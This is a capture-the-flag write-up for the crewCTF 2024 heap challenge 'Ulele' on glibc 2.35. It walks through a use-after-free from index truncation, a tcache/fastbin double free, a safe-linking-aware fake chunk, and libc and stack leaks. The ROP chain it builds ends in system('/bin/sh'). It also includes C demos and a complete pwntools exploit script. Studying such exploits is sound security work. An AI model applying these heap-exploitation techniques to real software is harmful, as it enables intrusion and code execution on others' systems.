0x00 Introduction

This is a CTF write-up for the challenges Ulele in crewCTF 2024.

This is an after-ctf writeup since my teammate solved it during the game.

0x01 Ulele: Challenge

Attachment

It’s a simple menu-heap challenge on glibc-2.35. The users have three options to interact with the challenge

The bug is easy to locate if you reverse it meticulously: in show and free, only the lowest byte of the index is taken when free/print-ing the chunks.

We need at least 0x100 items to trigger the bug. There is an example to trigger the bug

for x in range(0x100):
 add()
free(0x100)

In the above code, the free call frees the idx-0 chunk and zeros the point at idx-0x100. So we have UAF. Then, we can create some interesting primitives based on the UAF vulnerability:

After UAF, we can read the pointer on the chunk to leak a heap address. Also, we can free a freed chunk to exploit the challenge further.

0x01 Ulele: Leaking Heap

Heap leaking is easy to understand:

for x in range(0x240):
 add()
free(0x100)
show(0x0)
ru(b': ')
heap = u64(ru(b'\n')[:-1].ljust(0x8,b'\0'))<<12
warn(hex(heap))

In the above code, we triggered the UAF and printed the content on a freed chunk to get its heap-page address.

0x02 Ulele: Double Free

There are several mitigations for Free-After-Free on glibc-2.35 so we can’t just double-free the chunk. In 2.35, when a chunk is pushed into fast-bin, the tcache_entry.key is not set while the key element is important to detect double free on tcache. We can take advantage of this to get Double-Free on glibc-2.35.

Here is a C-code demo:

#include <stdio.h>
void debug(){
    char a;
    write(1,"DEBUG\n",6);
    read(0,&a,1);
}
int main(){
    char * list[0x8] = {};
    for(int i = 0 ; i < 0x8 ; i ++)
        list[i] = malloc(0x48);
    malloc(0); //Guard
    for(int i = 0 ; i < 0x8 ; i++)
        free(list[i]);
    malloc(0x48); // Pop one from Tcache
    // Push a copy of the one in fast-bin into Tcache 
    free(list[0x7]); // Not Crash
    debug();
    free(list[0x0]); // Crash
}
  1. We fill the tcache and push some chunks to the fast bin.
  2. Then, we pop out some chunks in tcache.
  3. Push the one freed chunk into the tcache, which is already in the fast bin.
  4. So we have Double Free

If we pop out the double-freed chunk, we are able to write on it, which enables us to link any fake chunk to the fast bin. However, this method has some limits to use. As we know (if you don’t know check the HITCON challenge one punch man), when we run out of the chunks in the tcache, we gonna get chunks in the fast bin. And this action gonna move as many chunks in the fast bin as possible into tcache, which means this option gonna go through a part of the fast-bin link and this option may lead to a crash because of the not properly faked chunk.

I spent some time thinking about the usual pattern for further exploitations:

0x03 Ulele: Double Free to OOB

The most straightforward primitive we can from double free get is overlapping. We can create overlapped chunks to achieve Out-of-Bound Read/Write.

Considering that the last linked chunk in the fast bin must end with 0. We must have such a pattern in fast-bin: ->...->A->0, for example:

(0x70)     fastbin[5]: 0x55555556ca20 --> 0x5555555899c0 --> 0x0

This is not easy if you link in an arbitrary address as the last chunk (we call it chunk A) because of safe-linking. Due to Safe-linking, the A->next must be (&A)>>12. This is not easy to get unless it’s freed chunks or it’s some area we are able to leave some data on. For the linking in freed chunks, it’s useless in this challenge since all freed chunks have the same size (so we can’t have oob). However, if we create a fake chunk at the end of one chunk, by linking it to the fast bin, we can get the oob primitives.

Double Free to OOB

The following code demonstrates the case in the figure to gain OOB write based on double free.

#include <stdio.h>
void debug(){
    char a;
    write(1,"DEBUG\n",6);
    read(0,&a,1);
}
void double_free_2_oob(size_t valid1){
    size_t fake_chunk[] = {0,0,0,0,0,0,0,0x51,(valid1>>12)};
    memcpy(valid1,fake_chunk,sizeof(fake_chunk));
    char *buf = malloc(0x48);
    size_t payload[ ] = {(valid1+0x30)^(valid1>>12),};
    memcpy(buf,payload,sizeof(payload));
    // debug();
    malloc(0x48);
 buf =  malloc(0x48);
    memset(buf,0x69,0x48); // OOB Write
}
int main(){
    char * list[0x8] = {};
    for(int i = 0 ; i < 0x8 ; i ++)
        list[i] = malloc(0x48);
    char * valid_chunk_0 = malloc(0x48); 
    char * valid_chunk_1 = malloc(0x48);

    for(int i = 0 ; i < 0x8 ; i++)
        free(list[i]);
    for(int i = 0 ; i < 0x7 ; i++)
        malloc(0x48); // Pop from Tcache
    
    // Push a copy of the one in fast-bin into Tcache 
    free(list[0x7]); // Double Free
 /*
 pwndbg> heapinfo
 (0x20)     fastbin[0]: 0x0
 (0x30)     fastbin[1]: 0x0
 (0x40)     fastbin[2]: 0x0
 (0x50)     fastbin[3]: 0x5555555594c0 (overlap chunk with 0x5555555594c0(freed) )
 (0x60)     fastbin[4]: 0x0
 (0x70)     fastbin[5]: 0x0
 (0x80)     fastbin[6]: 0x0
 (0x90)     fastbin[7]: 0x0
 (0xa0)     fastbin[8]: 0x0
 (0xb0)     fastbin[9]: 0x0
 top: 0x5555555595b0 (size : 0x20a50) 
 last_remainder: 0x0 (size : 0x0) 
 unsortbin: 0x0
 (0x50)   tcache_entry[3](1): 0x5555555594d0
 */
    double_free_2_oob(valid_chunk_0);
    puts(valid_chunk_1);
    // Link a fake chunk in
    
}

With this primitive, we are able to have oob access to the element list chunk on the heap (adding chunks will trigger vector reallocation). Then, we can do an arbitrary read to leak the libc base address and the stack address.

...
for x in range(0xdf-20+21):
 add()

add(p64(0xdeadbeef)*9+flat([0x71,0x555555589-0x55555556c+(heap>>12),0])) # fakechunk to oob-write slot renew
for x in range(0x9):
 free(0x101+x)
for x in range(7):
 add()
free(0x101+8)
add(p64((heap>>12)^(0x5555555899c0-0x55555556c000+heap)))
add()
add(b'\0'*0x18+flat([0x3211,0x5555555899f0+8-0x55555556c000+heap,0x55555557add8-0x55555556c000+heap,0x5555555899f0+8-0x55555556c000+heap+0x10,0x5555555899d0-0x55555556c000+heap]))
show(0)
base = leak("Data: ")-0x1f2ce0-(0x7ffff7828000-0x7ffff7800000)
warn(hex(base))
free(2)
add(b'\0'*0x18+flat([0x3211,0x5555555899f0+8-0x55555556c000+heap,0x222200+base,0x5555555899f0+8-0x55555556c000+heap+0x10,0x5555555899d0-0x55555556c000+heap+0x10]))
show(0)
stack = leak("Data: ")
...

0x04 Ulele: Arbitrary Address Write

After leaking addresses, we now consider creating an AAW primitive. We need to link a fake chunk into tcache and then allocate it to gain AAW since there is no edit feature in the challenge.

However, we already have OOB Write. And we all know that OOB writing on a freed chunk can link arbitrary addresses into tcache as a fake chunk.

Double Free to AAW

In this challenge, we do AAW to write our rop chain on the stack to get code execution:

...
for x in range(8):
 free(0x120+x)
for x in range(7):
 add()
free(0x199)
free(0x19a)
free(0x127)
add(p64(((heap>>12)+1)^(0x555555571b60-0x55555556c000+heap)))
add("TBF") # 19a 0x555555571bc0
mask = (heap>>12)+( 0x555555571- 0x55555556c)
add(flat([1,2,3,4,5,6,0,0x71,mask ^ (0x555555571b70-0x55555556c000+heap),0x71,mask]))

add()
free(0x199)

add(flat([1,2,3,4,5,6,7,8,0,0x71,((heap>>12)+( 0x555555571- 0x55555556c)) ^ (stack-(0x7fffffffdbf8-0x7fffffffda78+0x8))]))
add()

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = base
rop     = ROP(libc)
rdi     = rop.find_gadget(['pop rdi','ret'])[0]
ret     = rdi+1
sh_str  = libc.search(b"/bin/sh\0").__next__()
system  = libc.sym['system']
chain   = [ret]+[rdi,sh_str,system]
add(flat([1]+chain))

# gdb.attach(p)
p.interactive()
...

0x05 Ulele: The Whole Exploitation

from pwn import *
# context.log_level   ='debug'
context.arch        ='amd64'
'''
Libc Lib:
 https://libc.rip/
'''
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
p=process('./ulele')#,env={"LD_PRELOAD":"/glibc/x64/2.35/lib/libc.so.6"})
# p = remote("ulele.chal.crewc.tf",1337)
ru      = lambda a:     p.readuntil(a)
r       = lambda n:     p.read(n)
sla     = lambda a,b:   p.sendlineafter(a,b)
sa      = lambda a,b:   p.sendafter(a,b)
sl      = lambda a:     p.sendline(a)
s       = lambda a:     p.send(a)

# libc = ELF("../libc.so.6")
def cmd(c):
 sla(b'>> ',str(c).encode())
def add(c='nop'):
 cmd(1)
 sa(": ",c)
def show(idx):
 cmd(2)
 sla(": ",str(idx).encode())
def free(idx):
 cmd(3)
 sla(": ",str(idx).encode())

def leak(a,x=0,mute=0):
 ru(a)
    if x: # when to stop
 leaked = int(ru(x)[:-1],16)
    else:
 leaked = u64(p.read(6)+b'\0\0')
    if mute==0:
 warn(hex(leaked))
    return leaked


for x in range(0x240):
 add()
free(0x100)
show(0x0)
ru(b': ')
heap = u64(ru(b'\n')[:-1].ljust(0x8,b'\0'))<<12
warn(hex(heap))

for x in range(0xdf-20+21):
 add()

add(p64(0xdeadbeef)*9+flat([0x71,0x555555589-0x55555556c+(heap>>12),0])) # fakechunk to oob-write slot renew
for x in range(0x9):
 free(0x101+x)
for x in range(7):
 add()
free(0x101+8)
add(p64((heap>>12)^(0x5555555899c0-0x55555556c000+heap)))
add()
add(b'\0'*0x18+flat([0x3211,0x5555555899f0+8-0x55555556c000+heap,0x55555557add8-0x55555556c000+heap,0x5555555899f0+8-0x55555556c000+heap+0x10,0x5555555899d0-0x55555556c000+heap]))
show(0)
base = leak("Data: ")-0x1f2ce0-(0x7ffff7828000-0x7ffff7800000)
warn(hex(base))
free(2)
add(b'\0'*0x18+flat([0x3211,0x5555555899f0+8-0x55555556c000+heap,0x222200+base,0x5555555899f0+8-0x55555556c000+heap+0x10,0x5555555899d0-0x55555556c000+heap+0x10]))
show(0)
stack = leak("Data: ")



for x in range(8):
 free(0x120+x)
for x in range(7):
 add()
free(0x199)
free(0x19a)
free(0x127)
add(p64(((heap>>12)+1)^(0x555555571b60-0x55555556c000+heap)))
add("TBF") # 19a 0x555555571bc0
mask = (heap>>12)+( 0x555555571- 0x55555556c)
add(flat([1,2,3,4,5,6,0,0x71,mask ^ (0x555555571b70-0x55555556c000+heap),0x71,mask]))

add()
free(0x199)

add(flat([1,2,3,4,5,6,7,8,0,0x71,((heap>>12)+( 0x555555571- 0x55555556c)) ^ (stack-(0x7fffffffdbf8-0x7fffffffda78+0x8))]))
add()

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = base
rop     = ROP(libc)
rdi     = rop.find_gadget(['pop rdi','ret'])[0]
ret     = rdi+1
sh_str  = libc.search(b"/bin/sh\0").__next__()
system  = libc.sym['system']
chain   = [ret]+[rdi,sh_str,system]
add(flat([1]+chain))

# gdb.attach(p)
p.interactive()

0x06 Summary

Things I learned from this challenge